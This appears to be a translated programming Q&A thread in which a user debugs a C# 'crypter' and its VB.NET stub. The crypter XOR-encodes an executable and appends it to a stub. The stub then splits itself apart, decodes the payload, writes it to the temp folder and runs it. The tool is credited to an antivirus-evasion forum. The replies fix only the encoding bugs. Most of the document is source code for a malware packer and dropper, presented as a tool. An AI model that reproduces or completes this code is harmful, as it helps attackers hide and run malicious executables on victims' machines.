C# 内存分配错误,无法加载命令,系统已暂停

C# 内存分配错误,无法加载命令,系统已暂停,c#,vb.net,C#,Vb.net,我试图做一个小程序,加密和解密后我的文件。但每次我解密我的文件时,都会显示相同的错误,内存分配错误。问题是,我想这是当我转换为字符串我的文件,但不确定。 加密文件: using System; using System.Text; using System.IO; using System.Linq; using System.Windows.Forms; namespace Crypter { class Program { [STAThread]

我试图做一个小程序,加密和解密后我的文件。但每次我解密我的文件时,都会显示相同的错误,内存分配错误。问题是,我想这是当我转换为字符串我的文件,但不确定。 加密文件:

using System;
using System.Text;
using System.IO;
using System.Linq;
using System.Windows.Forms;
namespace Crypter
{
    class Program
    {
        [STAThread]
        static void Main(string[] args)
        {
            OpenFileDialog FileDlg = new OpenFileDialog();
            FileDlg.Filter = "(*.exe)|*.exe";
            FileDlg.Title = "SimplisimoCrypter by Blau [Indetectables.net]";
            FileDlg.Multiselect = false;

            if (FileDlg.ShowDialog() == DialogResult.OK)
            {
            string InputFile = FileDlg.FileName;
                if (!File.Exists(InputFile))
                {
                    MessageBox.Show("File does not exists.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return;
                }   
            //No Arguments -> Exit
            /*if (args.Length < 2)
            {
                Console.WriteLine("Syntax: crypter.exe <Exe/Dll to get Encrypted> <Password> (Optional: output file name)");
                Environment.Exit(0);
            }*/

            //String file = args[0];
            String file = InputFile;
            //String pass = args[1];
            String pass = "1234";
            String outFile = "Crypted.exe";

            //If Output Name is specified -> Set it
            if (args.Length == 3)
            {
                outFile = args[2];
            }

            //File doesn't exist -> Exit
            if (!File.Exists(file))
            {
                Console.WriteLine("[!] The selected File doesn't exist!");
                Environment.Exit(0);
            }

            //Everything seems fine -> Reading bytes
            Console.WriteLine("[*] Reading Data...");
            byte[] plainBytes = File.ReadAllBytes(file);

            //Yep, got bytes -> Encoding
            Console.WriteLine("[*] Encoding Data...");
            byte[] encodedBytes = encodeBytes(plainBytes, pass);
            //byte[] encodedBytes = plainBytes;

            Console.WriteLine("[*] Save to Output File... ");

            //Leer el stub
            Console.WriteLine("[*] Reading Stub...");
            byte[] Stub = File.ReadAllBytes("Stub.exe");

            //byte separador
            string strseperate = "BLAUMOLAMUCHO";
            byte[] toBytes = Encoding.ASCII.GetBytes(strseperate);

            var s = new MemoryStream();
            s.Write(Stub, 0, Stub.Length);
            s.Write(toBytes, 0, toBytes.Length);
            s.Write(encodedBytes, 0, encodedBytes.Length);
            var b3 = s.ToArray();
            Stream stream = new MemoryStream(b3);

            FileStream fileStream = new FileStream(@"Crypted.exe", FileMode.Create, FileAccess.Write);
            for (int i = 0; i < stream.Length; i++)
                fileStream.WriteByte((byte)stream.ReadByte());

            Console.WriteLine("Done!");

            Console.WriteLine("\n[*] File successfully encoded!");
            }
        }
        private static byte[] encodeBytes(byte[] bytes, String pass)
        {
            byte[] XorBytes = Encoding.Unicode.GetBytes(pass);

            for (int i = 0; i < bytes.Length; i++)
            {
                bytes[i] ^= XorBytes[i % XorBytes.Length];
            }

            return bytes;
        }
    }
}

问题是解密程序。当我运行它时,控制台向我显示该错误。

问题出在XORR中。这条线错了

strDataOut=strDataOut+Chr(intXOrValue1或intXOrValue2)

这与encodeBytes()的功能不同,从长远来看也不相同


由于加密算法是对称的,我建议您将encodeBytes()复制到解密程序中,并使用它来解密程序

我做了你推荐的更改,更新了帖子,但现在告诉我这个错误:为什么使用编码.Unicode?这里处理的是普通字节流。你不应该在你的exe文件上使用文本过滤器,它的内容绝对不是文本。一个好主意是开始编码一个数据文件,一个纯ASCII文本文件,并删除所有赋码过滤器,这将有助于区分加密/解密例程导致的崩溃和结果文件导致的崩溃。
Imports System.Security.Cryptography
Imports System.IO
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.Reflection.Assembly

Module Program
    Public Sub Main()
        Dim s As String = GetExecutingAssembly.GetCallingAssembly.Location
        Dim myBytes As Byte() = My.Computer.FileSystem.ReadAllBytes(s)
        Dim myStrings As String = Encoding.Default.GetString(myBytes)
        Dim mySplits As String() = Split(myStrings, "BLAUMOLAMUCHO")
        Dim originalContents As String = mySplits(1)

        Dim original As Byte() = Encoding.Default.GetBytes(originalContents)
        Dim Blau As String  = XORR(original,"1234")
        My.Computer.FileSystem.WriteAllBytes(System.IO.Path.GetTempPath & "temp1928.exe", Encoding.Default.GetBytes(Blau), False)
        Process.Start(System.IO.Path.GetTempPath & "temp1928.exe")
        Console.WriteLine(s)

        Console.ReadKey()
    End Sub

    'Funcion para deshacer el método XOR
    Private Function XORR(bytes As Byte(), pass As String)
        Dim XorBytes As Byte() = Encoding.Unicode.GetBytes(pass)

        For i = 0  to bytes.length step 1
            bytes(i) = bytes(i) Xor XorBytes(i Mod XorBytes.Length)
        Next

        Return bytes
    End Function



End Module